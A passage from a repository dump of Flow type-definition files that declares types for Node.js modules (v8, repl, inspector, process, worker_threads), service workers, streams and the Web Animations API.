joyeecheung\n   * This JSON stream format is intended to be used with tools such as\n   * Chrome DevTools. The JSON schema is undocumented and specific to the\n   * V8 engine, and may change from one version of V8 to the next.\n   */\n  declare function getHeapSnapshot(): stream$Readable;\n\n  /**\n   *\n   * @param fileName The file path where the V8 heap snapshot is to be\n   * saved. If not specified, a file name with the pattern\n   * `'Heap-${yyyymmdd}-${hhmmss}-${pid}-${thread_id}.heapsnapshot'` will be\n   * generated, where `{pid}` will be the PID of the Node.js process,\n   * `{thread_id}` will be `0` when `writeHeapSnapshot()` is called from\n   * the main Node.js thread or the id of a worker thread.\n   */\n  declare function writeHeapSnapshot(fileName?: string): string;\n\n  declare function getHeapCodeStatistics(): HeapCodeStatistics;\n\n  declare function getHeapStatistics(): HeapStatistics;\n  declare function getHeapSpaceStatistics(): Array<HeapSpaceStatistics>;\n  declare function setFlagsFromString(flags: string): void;\n\n  declare class Serializer {\n    constructor(): void;\n\n    /**\n     * Writes out a header, which includes the serialization format version.\n     */\n    writeHeader(): void;\n\n    /**\n     * Serializes a JavaScript value and adds the serialized representation to the internal buffer.\n     * This throws an error if value cannot be serialized.\n     */\n    writeValue(val: any): boolean;\n\n    /**\n     * Returns the stored internal buffer.\n     * This serializer should not be used once the buffer is released.\n     * Calling this method results in undefined behavior if a previous write has failed.\n     */\n    releaseBuffer(): Buffer;\n\n    /**\n     * Marks an ArrayBuffer as having its contents transferred out of band.\\\n     * Pass the corresponding ArrayBuffer in the deserializing context to deserializer.transferArrayBuffer().\n     */\n    transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void;\n\n    /**\n     * Write a raw 32-bit unsigned integer.\n     */\n    writeUint32(value: number): void;\n\n    /**\n     * Write a raw 64-bit unsigned integer, split into high and low 32-bit parts.\n     */\n    writeUint64(hi: number, lo: number): void;\n\n    /**\n     * Write a JS number value.\n     */\n    writeDouble(value: number): void;\n\n    /**\n     * Write raw bytes into the serializer’s internal buffer.\n     * The deserializer will require a way to compute the length of the buffer.\n     */\n    writeRawBytes(buffer: Buffer | $TypedArray | DataView): void;\n  }\n\n  /**\n   * A subclass of `Serializer` that serializes `TypedArray` (in particular `Buffer`) and `DataView` objects as host objects,\n   * and only stores the part of their underlying `ArrayBuffers` that they are referring to.\n   */\n  declare class DefaultSerializer extends Serializer {}\n\n  declare class Deserializer {\n    constructor(data: Buffer | $TypedArray | DataView): void;\n\n    /**\n     * Reads and validates a header (including the format version).\n     * May, for example, reject an invalid or unsupported wire format.\n     * In that case, an Error is thrown.\n     */\n    readHeader(): boolean;\n\n    /**\n     * Deserializes a JavaScript value from the buffer and returns it.\n     */\n    readValue(): any;\n\n    /**\n     * Marks an ArrayBuffer as having its contents transferred out of band.\n     * Pass the corresponding `ArrayBuffer` in the serializing context to serializer.transferArrayBuffer()\n     * (or return the id from serializer._getSharedArrayBufferId() in the case of SharedArrayBuffers).\n     */\n    transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void;\n\n    /**\n     * Reads the underlying wire format version.\n     * Likely mostly to be useful to legacy code reading old wire format versions.\n     * May not be called before .readHeader().\n     */\n    getWireFormatVersion(): number;\n\n    /**\n     * Read a raw 32-bit unsigned integer and return it.\n     */\n    readUint32(): number;\n\n    /**\n     * Read a raw 64-bit unsigned integer and return it as an array [hi, lo] with two 32-bit unsigned integer entries.\n     */\n    readUint64(): [number, number];\n\n    /**\n     * Read a JS number value.\n     */\n    readDouble(): number;\n\n    /**\n     * Read raw bytes from the deserializer’s internal buffer.\n     * The length parameter must correspond to the length of the buffer that was passed to serializer.writeRawBytes().\n     */\n    readRawBytes(length: number): Buffer;\n  }\n\n  /**\n   * A subclass of `Serializer` that serializes `TypedArray` (in particular `Buffer`) and `DataView` objects as host objects,\n   * and only stores the part of their underlying `ArrayBuffers` that they are referring to.\n   */\n  declare class DefaultDeserializer extends Deserializer {}\n\n  /**\n   * Uses a `DefaultSerializer` to serialize value into a buffer.\n   */\n  declare function serialize(value: any): Buffer;\n\n  /**\n   * Uses a `DefaultDeserializer` with default options to read a JS value from a buffer.\n   */\n  declare function deserialize(data: Buffer | $TypedArray | DataView): any;\n}\n\ntype repl$DefineCommandOptions = (...args: Array<any>) => void | {\n  action: (...args: Array<any>) => void,\n  help?: string,\n  ...\n};\n\ndeclare class $SymbolReplModeMagic mixins Symbol {}\ndeclare class $SymbolReplModeSloppy mixins Symbol {}\ndeclare class $SymbolReplModeStrict mixins Symbol {}\n\ndeclare module 'repl' {\n  declare var REPL_MODE_MAGIC: $SymbolReplModeMagic;\n  declare var REPL_MODE_SLOPPY: $SymbolReplModeSloppy;\n  declare var REPL_MODE_STRICT: $SymbolReplModeStrict;\n\n  declare class REPLServer extends readline$Interface {\n    context: vm$Context;\n    defineCommand(command: string, options: repl$DefineCommandOptions): void;\n    displayPrompt(preserveCursor?: boolean): void;\n  }\n\n  declare function start(prompt: string): REPLServer;\n  declare function start(options: {\n    prompt?: string,\n    input?: stream$Readable,\n    output?: stream$Writable,\n    terminal?: boolean,\n    eval?: Function,\n    useColors?: boolean,\n    useGlobal?: boolean,\n    ignoreUndefined?: boolean,\n    writer?: (object: any, options?: util$InspectOptions) => string,\n    completer?: readline$InterfaceCompleter,\n    replMode?:\n      | $SymbolReplModeMagic\n      | $SymbolReplModeSloppy\n      | $SymbolReplModeStrict,\n    breakEvalOnSigint?: boolean,\n    ...\n  }): REPLServer;\n\n  declare class Recoverable extends SyntaxError {\n    constructor(err: Error): void;\n  }\n}\n\ndeclare module 'inspector' {\n  declare function open(port?: number, host?: string, wait?: boolean): void;\n\n  declare function close(): void;\n  declare function url(): string | void;\n  declare var console: Object;\n  declare function waitForDebugger(): void;\n\n  declare class Session extends events$EventEmitter {\n    constructor(): void;\n    connect(): void;\n    connectToMainThread(): void;\n    disconnect(): void;\n    post(method: string, params?: Object, callback?: Function): void;\n  }\n}\n\n/* globals: https://nodejs.org/api/globals.html */\n\ntype process$CPUUsage = {\n  user: number,\n  system: number,\n  ...\n};\n\ndeclare class Process extends events$EventEmitter {\n  abort(): void;\n  allowedNodeEnvironmentFlags: Set<string>;\n  arch: string;\n  argv: Array<string>;\n  chdir(directory: string): void;\n  config: Object;\n  connected: boolean;\n  cpuUsage(previousValue?: process$CPUUsage): process$CPUUsage;\n  cwd(): string;\n  disconnect?: () => void;\n  domain?: domain$Domain;\n  env: {[key: string]: string | void, ...};\n  emitWarning(warning: string | Error): void;\n  emitWarning(\n    warning: string,\n    typeOrCtor: string | ((...empty) => mixed)\n  ): void;\n  emitWarning(\n    warning: string,\n    type: string,\n    codeOrCtor: string | ((...empty) => mixed)\n  ): void;\n  emitWarning(\n    warning: string,\n    type: string,\n    code: string,\n    ctor?: (...empty) => mixed\n  ): void;\n  execArgv: Array<string>;\n  execPath: string;\n  exit(code?: number): empty;\n  exitCode?: number;\n  getegid?: () => number;\n  geteuid?: () => number;\n  getgid?: () => number;\n  getgroups?: () => Array<number>;\n  getuid?: () => number;\n  hrtime: {\n    (time?: [number, number]): [number, number],\n    bigint: () => bigint,\n    ...\n  };\n  initgroups?: (user: number | string, extra_group: number | string) => void;\n  kill(pid: number, signal?: string | number): void;\n  mainModule: Object;\n  memoryUsage(): {\n    arrayBuffers: number,\n    rss: number,\n    heapTotal: number,\n    heapUsed: number,\n    external: number,\n    ...\n  };\n  nextTick: <T>(cb: (...T) => mixed, ...T) => void;\n  pid: number;\n  platform: string;\n  release: {\n    name: string,\n    lts?: string,\n    sourceUrl: string,\n    headersUrl: string,\n    libUrl: string,\n    ...\n  };\n  send?: (\n    message: any,\n    sendHandleOrCallback?: net$Socket | net$Server | Function,\n    callback?: Function\n  ) => void;\n  setegid?: (id: number | string) => void;\n  seteuid?: (id: number | string) => void;\n  setgid?: (id: number | string) => void;\n  setgroups?: <Group: string | number>(groups: Array<Group>) => void;\n  setuid?: (id: number | string) => void;\n  stderr: stream$Writable | tty$WriteStream;\n  stdin: stream$Readable | tty$ReadStream;\n  stdout: stream$Writable | tty$WriteStream;\n  title: string;\n  umask(mask?: number): number;\n  uptime(): number;\n  version: string;\n  versions: {\n    [key: string]: ?string,\n    node: string,\n    v8: string,\n    ...\n  };\n}\ndeclare var process: Process;\n\ndeclare var __filename: string;\ndeclare var __dirname: string;\n\ndeclare function setImmediate(\n  callback: (...args: Array<any>) => mixed,\n  ...args: Array<any>\n): Object;\ndeclare function clearImmediate(immediateObject: any): Object;\n\n// https://nodejs.org/api/esm.html#node-imports\n\ndeclare module 'node:assert' {\n  declare module.exports: $Exports<'assert'>;\n}\n\ndeclare module 'node:assert/strict' {\n  declare module.exports: $Exports<'assert'>['strict'];\n}\n\ndeclare module 'node:events' {\n  declare module.exports: $Exports<'events'>;\n}\n\ndeclare module 'node:fs' {\n  declare module.exports: $Exports<'fs'>;\n}\n\ndeclare module 'node:os' {\n  declare module.exports: $Exports<'os'>;\n}\n\ndeclare module 'fs/promises' {\n  declare module.exports: $Exports<'fs'>['promises'];\n}\n\ndeclare module 'node:fs/promises' {\n  declare module.exports: $Exports<'fs'>['promises'];\n}\n\ndeclare module 'node:path' {\n  declare module.exports: $Exports<'path'>;\n}\n\ndeclare module 'process' {\n  declare module.exports: Process;\n}\n\ndeclare module 'node:process' {\n  declare module.exports: $Exports<'process'>;\n}\n\ndeclare module 'node:util' {\n  declare module.exports: $Exports<'util'>;\n}\n\ndeclare module 'node:url' {\n  declare module.exports: $Exports<'url'>;\n}\n\ndeclare module 'worker_threads' {\n  declare var isMainThread: boolean;\n  declare var parentPort: null | MessagePort;\n  declare var threadId: number;\n  declare var workerData: any;\n\n  declare class MessageChannel {\n    +port1: MessagePort;\n    +port2: MessagePort;\n  }\n\n  declare class MessagePort extends events$EventEmitter {\n    close(): void;\n    postMessage(\n      value: any,\n      transferList?: Array<ArrayBuffer | MessagePort>\n    ): void;\n    ref(): void;\n    unref(): void;\n    start(): void;\n\n    addListener(event: 'close', listener: () => void): this;\n    addListener(event: 'message', listener: (value: any) => void): this;\n    addListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    emit(event: 'close'): boolean;\n    emit(event: 'message', value: any): boolean;\n    emit(event: string | Symbol, ...args: any[]): boolean;\n\n    on(event: 'close', listener: () => void): this;\n    on(event: 'message', listener: (value: any) => void): this;\n    on(event: string | Symbol, listener: (...args: any[]) => void): this;\n\n    once(event: 'close', listener: () => void): this;\n    once(event: 'message', listener: (value: any) => void): this;\n    once(event: string | Symbol, listener: (...args: any[]) => void): this;\n\n    prependListener(event: 'close', listener: () => void): this;\n    prependListener(event: 'message', listener: (value: any) => void): this;\n    prependListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    prependOnceListener(event: 'close', listener: () => void): this;\n    prependOnceListener(event: 'message', listener: (value: any) => void): this;\n    prependOnceListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    removeListener(event: 'close', listener: () => void): this;\n    removeListener(event: 'message', listener: (value: any) => void): this;\n    removeListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    off(event: 'close', listener: () => void): this;\n    off(event: 'message', listener: (value: any) => void): this;\n    off(event: string | Symbol, listener: (...args: any[]) => void): this;\n  }\n\n  declare type WorkerOptions = {|\n    env?: Object,\n    eval?: boolean,\n    workerData?: any,\n    stdin?: boolean,\n    stdout?: boolean,\n    stderr?: boolean,\n    execArgv?: string[],\n  |};\n\n  declare class Worker extends events$EventEmitter {\n    +stdin: stream$Writable | null;\n    +stdout: stream$Readable;\n    +stderr: stream$Readable;\n    +threadId: number;\n\n    constructor(filename: string, options?: WorkerOptions): void;\n\n    postMessage(\n      value: any,\n      transferList?: Array<ArrayBuffer | MessagePort>\n    ): void;\n    ref(): void;\n    unref(): void;\n    terminate(callback?: (err: Error, exitCode: number) => void): void;\n    /**\n     * Transfer a `MessagePort` to a different `vm` Context. The original `port`\n     * object will be rendered unusable, and the returned `MessagePort` instance will\n     * take its place.\n     *\n     * The returned `MessagePort` will be an object in the target context, and will\n     * inherit from its global `Object` class. Objects passed to the\n     * `port.onmessage()` listener will also be created in the target context\n     * and inherit from its global `Object` class.\n     *\n     * However, the created `MessagePort` will no longer inherit from\n     * `EventEmitter`, and only `port.onmessage()` can be used to receive\n     * events using it.\n     */\n    moveMessagePortToContext(\n      port: MessagePort,\n      context: vm$Context\n    ): MessagePort;\n\n    addListener(event: 'error', listener: (err: Error) => void): this;\n    addListener(event: 'exit', listener: (exitCode: number) => void): this;\n    addListener(event: 'message', listener: (value: any) => void): this;\n    addListener(event: 'online', listener: () => void): this;\n    addListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    emit(event: 'error', err: Error): boolean;\n    emit(event: 'exit', exitCode: number): boolean;\n    emit(event: 'message', value: any): boolean;\n    emit(event: 'online'): boolean;\n    emit(event: string | Symbol, ...args: any[]): boolean;\n\n    on(event: 'error', listener: (err: Error) => void): this;\n    on(event: 'exit', listener: (exitCode: number) => void): this;\n    on(event: 'message', listener: (value: any) => void): this;\n    on(event: 'online', listener: () => void): this;\n    on(event: string | Symbol, listener: (...args: any[]) => void): this;\n\n    once(event: 'error', listener: (err: Error) => void): this;\n    once(event: 'exit', listener: (exitCode: number) => void): this;\n    once(event: 'message', listener: (value: any) => void): this;\n    once(event: 'online', listener: () => void): this;\n    once(event: string | Symbol, listener: (...args: any[]) => void): this;\n\n    prependListener(event: 'error', listener: (err: Error) => void): this;\n    prependListener(event: 'exit', listener: (exitCode: number) => void): this;\n    prependListener(event: 'message', listener: (value: any) => void): this;\n    prependListener(event: 'online', listener: () => void): this;\n    prependListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    prependOnceListener(event: 'error', listener: (err: Error) => void): this;\n    prependOnceListener(\n      event: 'exit',\n      listener: (exitCode: number) => void\n    ): this;\n    prependOnceListener(event: 'message', listener: (value: any) => void): this;\n    prependOnceListener(event: 'online', listener: () => void): this;\n    prependOnceListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    removeListener(event: 'error', listener: (err: Error) => void): this;\n    removeListener(event: 'exit', listener: (exitCode: number) => void): this;\n    removeListener(event: 'message', listener: (value: any) => void): this;\n    removeListener(event: 'online', listener: () => void): this;\n    removeListener(\n      event: string | Symbol,\n      listener: (...args: any[]) => void\n    ): this;\n\n    off(event: 'error', listener: (err: Error) => void): this;\n    off(event: 'exit', listener: (exitCode: number) => void): this;\n    off(event: 'message', listener: (value: any) => void): this;\n    off(event: 'online', listener: () => void): this;\n    off(event: string | Symbol, listener: (...args: any[]) => void): this;\n  }\n}\n\ndeclare module 'node:worker_threads' {\n  declare module.exports: $Exports<'worker_threads'>;\n}\n"
  },
  {
    "path": "flow-typed/environments/serviceworkers.js",
    "content": "// flow-typed signature: f6bda44505d6258bae702a65ee2878f2\n// flow-typed version: 840509ea9d/serviceworkers/flow_>=v0.261.x\n\ntype FrameType = 'auxiliary' | 'top-level' | 'nested' | 'none';\ntype VisibilityState = 'hidden' | 'visible' | 'prerender' | 'unloaded';\n\ndeclare class WindowClient extends Client {\n  visibilityState: VisibilityState;\n  focused: boolean;\n  focus(): Promise<WindowClient>;\n  navigate(url: string): Promise<WindowClient>;\n}\n\ndeclare class Client {\n  id: string;\n  reserved: boolean;\n  url: string;\n  frameType: FrameType;\n  postMessage(message: any, transfer?: Iterator<any> | Array<any>): void;\n}\n\ndeclare class ExtendableEvent extends Event {\n  waitUntil(f: Promise<mixed>): void;\n}\n\ntype NotificationEvent$Init = {\n  ...Event$Init,\n  notification: Notification,\n  action?: string,\n  ...\n};\n\ndeclare class NotificationEvent extends ExtendableEvent {\n  constructor(type: string, eventInitDict?: NotificationEvent$Init): void;\n  +notification: Notification;\n  +action: string;\n}\n\ntype ForeignFetchOptions = {\n  scopes: Iterator<string>,\n  origins: Iterator<string>,\n  ...\n};\n\ndeclare class InstallEvent extends ExtendableEvent {\n  registerForeignFetch(options: ForeignFetchOptions): void;\n}\n\ndeclare class FetchEvent extends ExtendableEvent {\n  request: Request;\n  clientId: string;\n  isReload: boolean;\n  respondWith(response: Response | Promise<Response>): void;\n  preloadResponse: Promise<?Response>;\n}\n\ntype ClientType = 'window' | 'worker' | 'sharedworker' | 'all';\ntype ClientQueryOptions = {\n  includeUncontrolled?: boolean,\n  includeReserved?: boolean,\n  type?: ClientType,\n  ...\n};\n\ndeclare class Clients {\n  get(id: string): Promise<?Client>;\n  matchAll(options?: ClientQueryOptions): Promise<Array<Client>>;\n  openWindow(url: string): Promise<?WindowClient>;\n  claim(): Promise<void>;\n}\n\ntype ServiceWorkerState =\n  | 'installing'\n  | 'installed'\n  | 'activating'\n  | 'activated'\n  | 'redundant';\n\ndeclare class ServiceWorker extends EventTarget {\n  scriptURL: string;\n  state: ServiceWorkerState;\n\n  postMessage(message: any, transfer?: Iterator<any>): void;\n\n  onstatechange?: EventHandler;\n}\n\ndeclare class NavigationPreloadState {\n  enabled: boolean;\n  headerValue: string;\n}\n\ndeclare class NavigationPreloadManager {\n  enable: Promise<void>;\n  disable: Promise<void>;\n  setHeaderValue(value: string): Promise<void>;\n  getState: Promise<NavigationPreloadState>;\n}\n\ntype PushSubscriptionOptions = {\n  userVisibleOnly?: boolean,\n  applicationServerKey?: string | ArrayBuffer | $ArrayBufferView,\n  ...\n};\n\ndeclare class PushSubscriptionJSON {\n  endpoint: string;\n  expirationTime: number | null;\n  keys: {[string]: string, ...};\n}\n\ndeclare class PushSubscription {\n  +endpoint: string;\n  +expirationTime: number | null;\n  +options: PushSubscriptionOptions;\n  getKey(name: string): ArrayBuffer | null;\n  toJSON(): PushSubscriptionJSON;\n  unsubscribe(): Promise<boolean>;\n}\n\ndeclare class PushManager {\n  +supportedContentEncodings: Array<string>;\n  subscribe(options?: PushSubscriptionOptions): Promise<PushSubscription>;\n  getSubscription(): Promise<PushSubscription | null>;\n  permissionState(\n    options?: PushSubscriptionOptions\n  ): Promise<'granted' | 'denied' | 'prompt'>;\n}\n\ntype ServiceWorkerUpdateViaCache = 'imports' | 'all' | 'none';\n\ntype GetNotificationOptions = {\n  tag?: string,\n  ...\n};\n\ndeclare class ServiceWorkerRegistration extends EventTarget {\n  +installing: ?ServiceWorker;\n  +waiting: ?ServiceWorker;\n  +active: ?ServiceWorker;\n  +navigationPreload: NavigationPreloadManager;\n  +scope: string;\n  +updateViaCache: ServiceWorkerUpdateViaCache;\n  +pushManager: PushManager;\n\n  getNotifications?: (\n    filter?: GetNotificationOptions\n  ) => Promise<$ReadOnlyArray<Notification>>;\n  showNotification?: (\n    title: string,\n    options?: NotificationOptions\n  ) => Promise<void>;\n  update(): Promise<void>;\n  unregister(): Promise<boolean>;\n\n  onupdatefound?: EventHandler;\n}\n\ntype WorkerType = 'classic' | 'module';\n\ntype RegistrationOptions = {\n  scope?: string,\n  type?: WorkerType,\n  updateViaCache?: ServiceWorkerUpdateViaCache,\n  ...\n};\n\ndeclare class ServiceWorkerContainer extends EventTarget {\n  +controller: ?ServiceWorker;\n  +ready: Promise<ServiceWorkerRegistration>;\n\n  getRegistration(\n    clientURL?: string\n  ): Promise<ServiceWorkerRegistration | void>;\n  getRegistrations(): Promise<Iterator<ServiceWorkerRegistration>>;\n  register(\n    scriptURL: string | TrustedScriptURL,\n    options?: RegistrationOptions\n  ): Promise<ServiceWorkerRegistration>;\n  startMessages(): void;\n\n  oncontrollerchange?: EventHandler;\n  onmessage?: EventHandler;\n  onmessageerror?: EventHandler;\n}\n\n/**\n * This feature has been removed from the Web standards.\n */\ndeclare class ServiceWorkerMessageEvent extends Event {\n  data: any;\n  lastEventId: string;\n  origin: string;\n  ports: Array<MessagePort>;\n  source: ?(ServiceWorker | MessagePort);\n}\n\ndeclare class ExtendableMessageEvent extends ExtendableEvent {\n  data: any;\n  lastEventId: string;\n  origin: string;\n  ports: Array<MessagePort>;\n  source: ?(ServiceWorker | MessagePort);\n}\n\ntype CacheQueryOptions = {\n  ignoreSearch?: boolean,\n  ignoreMethod?: boolean,\n  ignoreVary?: boolean,\n  cacheName?: string,\n  ...\n};\n\ndeclare class Cache {\n  match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;\n  matchAll(\n    request: RequestInfo,\n    options?: CacheQueryOptions\n  ): Promise<Array<Response>>;\n  add(request: RequestInfo): Promise<void>;\n  addAll(requests: Array<RequestInfo>): Promise<void>;\n  put(request: RequestInfo, response: Response): Promise<void>;\n  delete(request: RequestInfo, options?: CacheQueryOptions): Promise<boolean>;\n  keys(\n    request?: RequestInfo,\n    options?: CacheQueryOptions\n  ): Promise<Array<Request>>;\n}\n\ndeclare class CacheStorage {\n  match(request: RequestInfo, options?: CacheQueryOptions): Promise<Response>;\n  has(cacheName: string): Promise<true>;\n  open(cacheName: string): Promise<Cache>;\n  delete(cacheName: string): Promise<boolean>;\n  keys(): Promise<Array<string>>;\n}\n\n// Service worker global scope\n// https://www.w3.org/TR/service-workers/#service-worker-global-scope\ndeclare var clients: Clients;\ndeclare var caches: CacheStorage;\ndeclare var registration: ServiceWorkerRegistration;\ndeclare function skipWaiting(): Promise<void>;\ndeclare var onactivate: ?EventHandler;\ndeclare var oninstall: ?EventHandler;\ndeclare var onfetch: ?EventHandler;\ndeclare var onforeignfetch: ?EventHandler;\ndeclare var onmessage: ?EventHandler;\n"
  },
  {
    "path": "flow-typed/environments/streams.js",
    "content": "// flow-typed signature: e6e6768618776352dd676f63502aea4d\n// flow-typed version: 40e7dfcbd5/streams/flow_>=v0.261.x\n\ntype TextEncodeOptions = {options?: boolean, ...};\n\ndeclare class ReadableStreamController {\n  constructor(\n    stream: ReadableStream,\n    underlyingSource: UnderlyingSource,\n    size: number,\n    highWaterMark: number\n  ): void;\n\n  desiredSize: number;\n\n  close(): void;\n  enqueue(chunk: any): void;\n  error(error: Error): void;\n}\n\ndeclare class ReadableStreamBYOBRequest {\n  constructor(controller: ReadableStreamController, view: $TypedArray): void;\n\n  view: $TypedArray;\n\n  respond(bytesWritten: number): ?any;\n  respondWithNewView(view: $TypedArray): ?any;\n}\n\ndeclare class ReadableByteStreamController extends ReadableStreamController {\n  constructor(\n    stream: ReadableStream,\n    underlyingSource: UnderlyingSource,\n    highWaterMark: number\n  ): void;\n\n  byobRequest: ReadableStreamBYOBRequest;\n}\n\ndeclare class ReadableStreamReader {\n  constructor(stream: ReadableStream): void;\n\n  closed: boolean;\n\n  cancel(reason: string): void;\n  read(): Promise<{\n    value: ?any,\n    done: boolean,\n    ...\n  }>;\n  releaseLock(): void;\n}\n\ndeclare interface UnderlyingSource {\n  autoAllocateChunkSize?: number;\n  type?: string;\n\n  start?: (controller: ReadableStreamController) => ?Promise<void>;\n  pull?: (controller: ReadableStreamController) => ?Promise<void>;\n  cancel?: (reason: string) => ?Promise<void>;\n}\n\ndeclare class TransformStream {\n  readable: ReadableStream;\n  writable: WritableStream;\n}\n\ninterface PipeThroughTransformStream {\n  readable: ReadableStream;\n  writable: WritableStream;\n}\n\ntype PipeToOptions = {\n  preventClose?: boolean,\n  preventAbort?: boolean,\n  preventCancel?: boolean,\n  ...\n};\n\ntype QueuingStrategy = {\n  highWaterMark: number,\n  size(chunk: ?any): number,\n  ...\n};\n\ndeclare class ReadableStream {\n  constructor(\n    underlyingSource: ?UnderlyingSource,\n    queuingStrategy: ?QueuingStrategy\n  ): void;\n\n  locked: boolean;\n\n  cancel(reason: string): void;\n  getReader(): ReadableStreamReader;\n  pipeThrough(transform: PipeThroughTransformStream, options: ?any): void;\n  pipeTo(dest: WritableStream, options: ?PipeToOptions): Promise<void>;\n  tee(): [ReadableStream, ReadableStream];\n}\n\ndeclare interface WritableStreamController {\n  error(error: Error): void;\n}\n\ndeclare interface UnderlyingSink {\n  autoAllocateChunkSize?: number;\n  type?: string;\n\n  abort?: (reason: string) => ?Promise<void>;\n  close?: (controller: WritableStreamController) => ?Promise<void>;\n  start?: (controller: WritableStreamController) => ?Promise<void>;\n  write?: (chunk: any, controller: WritableStreamController) => ?Promise<void>;\n}\n\ndeclare interface WritableStreamWriter {\n  closed: Promise<any>;\n  desiredSize?: number;\n  ready: Promise<any>;\n\n  abort(reason: string): ?Promise<any>;\n  close(): Promise<any>;\n  releaseLock(): void;\n  write(chunk: any): Promise<any>;\n}\n\ndeclare class WritableStream {\n  constructor(\n    underlyingSink: ?UnderlyingSink,\n    queuingStrategy: QueuingStrategy\n  ): void;\n\n  locked: boolean;\n\n  abort(reason: string): void;\n  getWriter(): WritableStreamWriter;\n}\n"
  },
  {
    "path": "flow-typed/environments/web-animations.js",
    "content": "// flow-typed signature: 4631a74b6a0e6a1b4de2ba8c7bb141d6\n// flow-typed version: 3e51657e95/web-animations/flow_>=v0.261.x\n\n// https://www.w3.org/TR/web-animations-1/\n\ntype AnimationPlayState = 'idle' | 'running' | 'paused' | 'finished';\n\ntype AnimationReplaceState = 'active' | 'removed' | 'persisted';\n\ntype CompositeOperation = 'replace' | 'add' | 'accumulate';\n\ntype CompositeOperationOrAuto = 'replace' | 'add' | 'accumulate' | 'auto';\n\ntype FillMode = 'none' | 'forwards' | 'backwards' | 'both' | 'auto';\n\n// This is actually web-animations-2\ntype IterationCompositeOperation = 'replace' | 'accumulate';\n\ntype PlaybackDirection =\n  | 'normal'\n  | 'reverse'\n  | 'alternate'\n  | 'alternate-reverse';\n\ntype AnimationPlaybackEvent$Init = Event$Init & {\n  currentTime?: number | null,\n  timelineTime?: number | null,\n  ...\n};\n\ntype BaseComputedKeyframe = {|\n  composite: CompositeOperationOrAuto,\n  computedOffset: number,\n  easing: string,\n  offset: number | null,\n|};\n\ntype BaseKeyframe = {|\n  composite: CompositeOperationOrAuto,\n  easing: string,\n  offset: number | null,\n|};\n\ntype BasePropertyIndexedKeyframe = {|\n  composite: CompositeOperationOrAuto | Array<CompositeOperationOrAuto>,\n  easing: string | Array<string>,\n  offset: number | null | Array<number | null>,\n|};\n\ntype ComputedEffectTiming = {|\n  ...EffectTiming,\n  currentIteration: number | null,\n  progress: number | null,\n|};\n\ntype ComputedKeyframe = {\n  composite: CompositeOperationOrAuto,\n  computedOffset: number,\n  easing: string,\n  offset: number | null,\n  [property: string]: string | number | null | void,\n  ...\n};\n\ntype DocumentTimelineOptions = {|\n  originTime: number,\n|};\n\ntype EffectTiming = {|\n  direction: PlaybackDirection,\n  easing: string,\n  fill: FillMode,\n  iterations: number,\n  iterationStart: number,\n|};\n\ntype GetAnimationsOptions = {|\n  pseudoElement: string | null,\n  subtree: boolean,\n|};\n\ntype KeyframeAnimationOptions = {|\n  ...KeyframeEffectOptions,\n  id: string,\n  timeline: AnimationTimeline | null,\n|};\n\ntype KeyframeEffectOptions = {|\n  ...EffectTiming,\n  composite: CompositeOperation,\n  pseudoElement: string | null,\n|};\n\ntype Keyframe = {\n  composite?: CompositeOperationOrAuto,\n  easing?: string,\n  offset?: number | null,\n  [property: string]: string | number | null | void,\n  ...\n};\n\ntype OptionalEffectTiming = Partial<EffectTiming>;\n\ntype PropertyIndexedKeyframes = {\n  composite?: CompositeOperationOrAuto | CompositeOperationOrAuto[],\n  easing?: string | string[],\n  offset?: number | (number | null)[],\n  [property: string]:\n    | string\n    | string[]\n    | number\n    | null\n    | (number | null)[]\n    | void,\n  ...\n};\n\ndeclare class Animation extends EventTarget {\n  constructor(\n    effect?: AnimationEffect | null,\n    timeline?: AnimationTimeline | null\n  ): void;\n\n  id: string;\n  effect: AnimationEffect | null;\n  timeline: AnimationTimeline | null;\n  startTime: number | null;\n  currentTime: number | null;\n  playbackRate: number;\n  +playState: AnimationPlayState;\n  +replaceState: AnimationReplaceState;\n  +pending: boolean;\n  +ready: Promise<Animation>;\n  +finished: Promise<Animation>;\n  onfinish: ?(ev: AnimationPlaybackEvent) => mixed;\n  oncancel: ?(ev: AnimationPlaybackEvent) => mixed;\n  onremove: ?(ev: AnimationPlaybackEvent) => mixed;\n  cancel(): void;\n  finish(): void;\n  play(): void;\n  pause(): void;\n  updatePlaybackRate(playbackRate: number): void;\n  reverse(): void;\n  persist(): void;\n  commitStyles(): void;\n}\n\ndeclare class AnimationEffect {\n  getTiming(): EffectTiming;\n  getComputedTiming(): ComputedEffectTiming;\n  updateTiming(timing?: OptionalEffectTiming): void;\n}\n\ndeclare class AnimationPlaybackEvent extends Event {\n  constructor(\n    type: string,\n    animationEventInitDict?: AnimationPlaybackEvent$Init\n  ): void;\n  +currentTime: number | null;\n  +timelineTime: number | null;\n}\n\ndeclare class AnimationTimeline {\n  +currentTime: number | null;\n}\n\ndeclare class DocumentTimeline extends AnimationTimeline {\n  constructor(options?: DocumentTimelineOptions): void;\n}\n\ndeclare class KeyframeEffect extends AnimationEffect {\n  constructor(\n    target: Element | null,\n    keyframes: Keyframe[] | PropertyIndexedKeyframes | null,\n    options?: number | KeyframeEffectOptions\n  ): void;\n  constructor(source: KeyframeEffect): void;\n\n  target: Element | null;\n  composite: CompositeOperation;\n  // This is actually web-animations-2\n  iterationComposite: IterationCompositeOperation;\n  getKeyframes(): ComputedKeyframe[];\n  setKeyframes(keyframes: Keyframe[] | PropertyIndexedKeyframes | null): void;\n}\n\ndeclare class mixin$Animatable {\n  animate(\n    keyframes: Keyframe[] | PropertyIndexedKeyframes | null,\n    options?: number | KeyframeAnimationOptions\n  ): Animation;\n  getAnimations(options?: GetAnimationsOptions): Array<Animation>;\n}\n"
  },
  {
    "path": "flow-typed/npm/error-stack-parser_v2.x.x.js",
